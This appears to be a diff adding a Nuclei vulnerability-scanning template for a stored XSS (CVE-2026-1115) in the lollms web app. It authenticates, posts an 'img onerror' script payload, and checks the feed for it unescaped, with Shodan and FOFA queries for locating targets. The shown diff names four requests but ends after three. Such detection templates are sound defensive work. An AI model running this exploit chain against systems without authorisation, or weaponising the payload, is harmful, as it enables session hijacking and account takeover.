|
| 1 | +id: CVE-2026-1115 |
| 2 | + |
| 3 | +info: |
| 4 | + name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS |
| 5 | + author: str4k3r |
| 6 | + severity: high |
| 7 | + description: | |
| 8 | + parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission. |
| 9 | + impact: | |
| 10 | + Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks. |
| 11 | + remediation: | |
| 12 | + Update to version 2.2.0 or later. |
| 13 | + reference: |
| 14 | + - https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a |
| 15 | + - https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa |
| 16 | + - https://nvd.nist.gov/vuln/detail/CVE-2026-1115 |
| 17 | + classification: |
| 18 | + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| 19 | + cvss-score: 9.0 |
| 20 | + cve-id: CVE-2026-1115 |
| 21 | + cwe-id: CWE-79 |
| 22 | + metadata: |
| 23 | + verified: true |
| 24 | + max-request: 4 |
| 25 | + vendor: parisneo |
| 26 | + product: lollms |
| 27 | + shodan-query: http.title:"LoLLMs" |
| 28 | + fofa-query: title="LoLLMs" |
| 29 | + tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive |
| 30 | + |
| 31 | +variables: |
| 32 | + marker: "{{rand_base(8)}}" |
| 33 | + |
| 34 | +flow: http(1) && http(2) && http(3) && http(4) |
| 35 | + |
| 36 | +http: |
| 37 | + - raw: |
| 38 | + - | |
| 39 | + POST /api/auth/token HTTP/1.1 |
| 40 | + Host: {{Hostname}} |
| 41 | + Content-Type: application/x-www-form-urlencoded |
| 42 | +
|
| 43 | + username={{url_encode(username)}}&password={{url_encode(password)}} |
| 44 | +
|
| 45 | + matchers: |
| 46 | + - type: dsl |
| 47 | + dsl: |
| 48 | + - 'status_code == 200' |
| 49 | + - 'contains(body, "access_token")' |
| 50 | + condition: and |
| 51 | + internal: true |
| 52 | + |
| 53 | + extractors: |
| 54 | + - type: json |
| 55 | + name: access_token |
| 56 | + part: body |
| 57 | + internal: true |
| 58 | + json: |
| 59 | + - '.access_token' |
| 60 | + |
| 61 | + - raw: |
| 62 | + - | |
| 63 | + POST /api/social/posts HTTP/1.1 |
| 64 | + Host: {{Hostname}} |
| 65 | + Authorization: Bearer {{access_token}} |
| 66 | + Content-Type: application/json |
| 67 | +
|
| 68 | + {"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]} |
| 69 | +
|
| 70 | + matchers: |
| 71 | + - type: dsl |
| 72 | + dsl: |
| 73 | + - 'status_code == 201' |
| 74 | + internal: true |
| 75 | + |
| 76 | + extractors: |
| 77 | + - type: json |
| 78 | + name: post_id |
| 79 | + part: body |
| 80 | + internal: true |
| 81 | + json: |
| 82 | + - '.id' |
| 83 | + |
| 84 | + - raw: |
| 85 | + - | |
| 86 | + GET /api/social/feed HTTP/1.1 |
| 87 | + Host: {{Hostname}} |
| 88 | + Authorization: Bearer {{access_token}} |
| 89 | +
|
| 90 | + matchers: |
| 91 | + - type: dsl |
| 92 | + dsl: |
| 93 | + - 'status_code == 200' |
| 94 | + - 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")' |
| 95 | + condition: and |
0 commit comments